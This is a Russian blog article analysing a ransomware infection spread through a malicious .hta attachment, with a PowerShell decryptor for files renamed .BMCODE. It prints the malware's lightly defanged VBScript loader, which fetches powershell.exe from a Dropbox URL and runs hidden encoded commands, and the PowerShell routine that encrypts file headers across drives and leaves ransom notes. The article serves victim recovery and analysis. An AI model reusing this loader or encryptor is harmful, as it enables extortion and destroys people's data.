PowerShell. Дешифруем файлы после воздействия «вируса»

в 18:14, , рубрики: powershell, вирусы, Вирусы (и антивирусы), информационная безопасность, криптография, Программирование, метки: , ,

В неком городе России
(Может быть, что даже в вашем)
Есть не маленькая фирма.
Арендует помещенье
У НИИморгорворпрома.

В этой фирме есть сотрудник, почту любящий читать. Открывает как-то файл, кем-то вложенный нарочно, в недра письмеца пришедшего. Запустив без задней мысли «Благодарственное письмо.hta» и не увидев поздравления, покурить решил немного. Возвращаясь с перекура, он читает в беспокойстве:

Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.
Вся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована
с помощью самого криптостойкого алгоритма в мире RSA1024.
Восстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо
написать нам письмо на адрес unblockme@tormail.org

При попытке расшифровки без нашей программы файлы могут повредиться!
К письму прикрепите файл, который находится на рабочем столе «READ_ME_NOW!!!!!!.TXT», либо этот файл
Письма с угрозами будут угрожать только Вам и Вашим файлам! НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!

pz8FkWJXdijcajJcWfhJ27TGPgcNNEKXDBcsdyzfX+lUoq68eAptVmGNIYLD8eti1kwicdOR59pwOC7XM7T+YLccqyeJqc5loxMCKy4pklzbMJBRm и т.д.

Теперь тоже самое другими словами. Сотруднику пришло письмо с вложением «Благодарственное письмо.rar» В теле письма указывалось что архив запаролен и давался пароль. Так уж совпало что в эти дни клиенты слали подобные письма и сотрудник ничего не заподозрил. Открыв архив и запустив вложение «Благодарственное письмо.hta». Через некоторое время почти все файлы приобрели расширение .BMCODE (дописалось в конец, не удаляя текст оригинального расширения) и в каждой папке лежала READ_ME_NOW!!!!!!.txt c указанным выше текстом. Пользователь сообщил «куда надо» и за дело взялись «кто надо».
Первым делом без паники взглянули в это *.hta и увидели:
Оригинальный код здесь и далее немного изменён и закомментирован дабы не было случайных запусков.

Код hta

<!-- Тут много знаков в base64-->

<html>
    <head>
        <meta charset="windows-1251">
    </head>
	<HTA:APPLICATION  
     ID="objHTA_Info"  
     APPLICATIONNAME="HTA_Info"  
     SINGLEINSTANCE="yes" >  
    <body>
        <script language=VBScript>
'Execute base64decode(" Тут тоже много знаков в base64 ")

      
Function base64decode(data)
			a="CDO.Message"
			set b=CreateObject(a)
    With b.BodyPart
        .ContentTransferEncoding = "base64"
        .Charset = "windows-1251"
        With .GetEncodedContentStream
            .WriteText data
            .Flush
        End With
        With .GetDecodedContentStream
            .Charset = "utf-8"
            base64decode = .ReadText
        End With
    End With
End Function


        </script>
    </body>
</html>

Смотрим дальше (у отдела началась истерика от смеха насколько всё гениально и просто):

Execute base64decode(

a1686979793=1686979793:
 Const SYSTEM32 = &H25:Set
# fso = CreateObject("Scripting.FileSystemObject"):
Set objShell = CreateObject("Shell.Application"):
Set wshShell = CreateObject( "WScript.Shell" ):
#Set objFolder = objShell.Namespace(SYSTEM32):
Set objFolderItem = objFolder.Self:
filepath = replace(objHTA_Info.commandLine,chr(34),""):
arguments = " -command $path=((get-content -Path '" + filepath + "' -totalcount 1) -split '%'[1];
#$bytes  = [System.Convert]::FromBase64String($path);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
Invoke-Expression $decoded":
Path = objFolderItem.Path + "WindowsPowerShellv1.0powershell.exe":
newPath = Path & arguments:RarPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "powershell.exe":
TestPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "powershellpowershell.exe":.
appNewPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "powershellpowershell.exe" & arguments:
If (fso.FileExists(Path)) Then:
wshShell.Run newPath, 0, False: 
       Else       :                
#If Not (fso.FileExists(TestPath)) Then:
 dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"):  
 dim bStrm: Set bStrm = createobject("Adodb.Stream"):
 xHttp.Open "GET", "https://dl.dropbox.com/sh/wn8x35r9l9wsitn/XSwafOFh9E/powershell.exe?dl=1", False: 
 xHttp.Send:
 with bStrm:   
 .type = 1:
 .open:
 #.write xHttp.responseBody: 
 .savetofile RarPath, 2:
 end with:
 wshShell.Run RarPath, 0, True:
 End If               :
 wshShell.Run appNewPath, 0, True   :
End If

Примерно поняв, что главное — выкачивается PowerShell с аккаунта на dropbox.com теряем интерес к этому куску.
Далее:

первый кусок в base64

$1686979793=1686979793;
$ErrorActionPreference="SilentlyContinue";
if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security');

Add-Type -Assembly System.Web;
$ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;
[byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek);
$basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg==";
#$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
#$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey));
$enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false));
$text= "Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.`r`nВся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована`r`nс помощью самого криптостойкого алгоритма в мире RSA1024.`r`nВосстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо`r`nнаписать нам письмо на адрес unblockme@tormail.org`r`nПри попытке расшифровки без нашей программы файлы могут повредиться!`r`nК письму прикрепите файл, который находится на рабочем столе `"READ_ME_NOW!!!!!!.TXT`", либо этот файл`r`nПисьма с угрозами будут угрожать только Вам и Вашим файлам! 
НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!`r`n`r`n" + $enckey;

#function Encrypt-File($item, $Passphrase){
$salt="BMCODE hack your system";
$init="BMCODE INIT";
$r = new-Object System.Security.Cryptography.RijndaelManaged;
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase);
$salt = [Text.Encoding]::UTF8.GetBytes($salt);
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32);
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15];
$r.Padding="Zeros";
$r.Mode="CBC";
$c = $r.CreateEncryptor();
$ms = new-Object IO.MemoryStream;
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write";
$cs.Write($item, 0,$item.Length);
$cs.Close();
$ms.Close();
$r.Clear();
return $ms.ToArray();
}

#$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;

foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",Неприлично много форматов,"*.1cd"  |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite');

#if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
$file.Position='0';
#$Encrypted=Enckrypt-File $buff $ek;
$file.Write($Encrypted, 0, $Encrypted.Length);
$file.Close();
#$newname=$_.Name+'.BMCODE';
#ren -Path $_.FulName -NewName $nename -Force;
$path=$_.DirectoryName+'READ_ME_NOW!!!!!!.TXT';
if(!(Test-Path $path)){sc -pat $path -va $text}
}
catch{}
}
}

Читаем, читаем и облегчённо выдыхаем. Ни о каком тотальном шифровании файлов речи не идёт.
Итак. Первым делом ищем ключи. Видим строки:

 $Encrypted=Enckrypt-File $buff $ek;
 $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;

и понимаем, что для ключа используется UUID компьютера. С этого момента становится ещё легче и почти смело забываем про первую часть, где формируется страшный ключ, который добавляется в *.TXT

Далее видим:

if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}; 
[byte[]]$buff = new-object byte[] $size;

Из этого выясняем, что шифруется не весь файл, а только первая его часть если она больше 40кб, если меньше, то весь файл.
Остается узнать UUID компьютера и написать скрипт для дешифровки.
UUID узнаем той же командой

(get-wmiobject Win32_ComputerSystemProduct).UUID

Запустив в PowerShell, который зловред заботливо закачал и не удалил из %TEMP%.

Теперь за написание скрипта. Сложность возникла только в понимании (и то из-за нехватки знаний, т.к. не приходилось раньше сталкиваться), что по примерам у M$ подобные функции передают в качестве параметра строку, а тут используют просто массив.

Собственно, что поучилось. Данный код — рабочий, без изменений и с лишними выводами для отслеживания процесса работы.

DEC_beta,ps1

cls
$null = [Reflection.Assembly]::LoadWithPartialName("System.Security");

$ek='00000000-0000-0000-0000-6CF04916E0EA';
 function Decrypt-String($Encrypted, $Passphrase){    
   $salt="BMCODE hack your system"
   $init="BMCODE INIT"
   $r = new-Object System.Security.Cryptography.RijndaelManaged 
   $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) 
   $salt = [Text.Encoding]::UTF8.GetBytes($salt) 
   $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32)
   $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
   $r.Padding="Zeros";
   $r.Mode="CBC";
   $d = $r.CreateDecryptor()
   $ms = new-Object IO.MemoryStream @(,$Encrypted) 
   $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" 
   $Enc=$cs.read($Encrypted, 0,$Encrypted.Length)
   $cs.Close();
   $ms.Close();
   $r.Clear(); 
   return [byte[]]$Encrypted = $ms.ToArray()
}

 $dir= read-host "Введите полный пусь к папке или диску (Примеры: C:, D:111)" 

gci $dir -Recurse -Include "*.BMCODE" |%{try 
{$_;
$file=[io.file]::Open($_, 'Open', 'ReadWrite');
#Wrire-host $file.Name;
write-Host "Размер файда:  $file.Length";
If ($file.Length -lt "40960"){$size=$file.Length}
Else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
write-host $size;
$file.Position='0';

$arr=Decrypt-String $buff $ek;
Write-host $_.Name
Write-host $_.FullName

$file.Write($arr, 0, $arr.Length);
Write-host "Done";
$file.Close();
$newname=$_.Name -replace '.BMCODE','';

ren -Path $_.FullName -NewName $newname -Force;
Write-Host "Новое имя: $_.Name";
$hnya=$_.DirectoryName+'READ_ME_NOW!!!!!!.TXT'
rm $hnya;
}
catch{}
}

Что он делает, что надо изменить если понадобиться самим:
1)задаем в ручную переменную $ek c нужным ключём (в нашем случае UUID)
2)Описание функции декодирования, которая возвращает массив. Задаём переменные $salt и $init согласно тем, что были в исходном коде зловреда.
3)Просим запускающего указать пуст начиная с которого будет поиск файлов (ищем по вложенным папкам)
4)Каждый найденный фаил с указанным расширением (.BMCODE) декодируем и переименовываем в нормальный вид.
5)Попутно удаются файлы с именем READ_ME_NOW!!!!!!.TXT, которые насоздавал зловред.

Код не идеален и многое можно упростить и переписать, но главное — он работает и помогает.

Вот и всё. Надеюсь эта статья поможет всем кто уже столкнулся с подобной проблемой и не знает, что делать. Как пишут в рунете злоумышленники требуют за расшифровку от 3000 до 10000 руб, но и встречаются более сложные варианты зловредов, где просто так ключ уже не узнать.

За сим прощаюсь и надеюсь, что всёже найду время и напишу как мы в своём НИИморгорворпроме устанавливали видео наблюдение и вешали мышку в качестве звонка на двери отдела.

Автор: Azurius

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js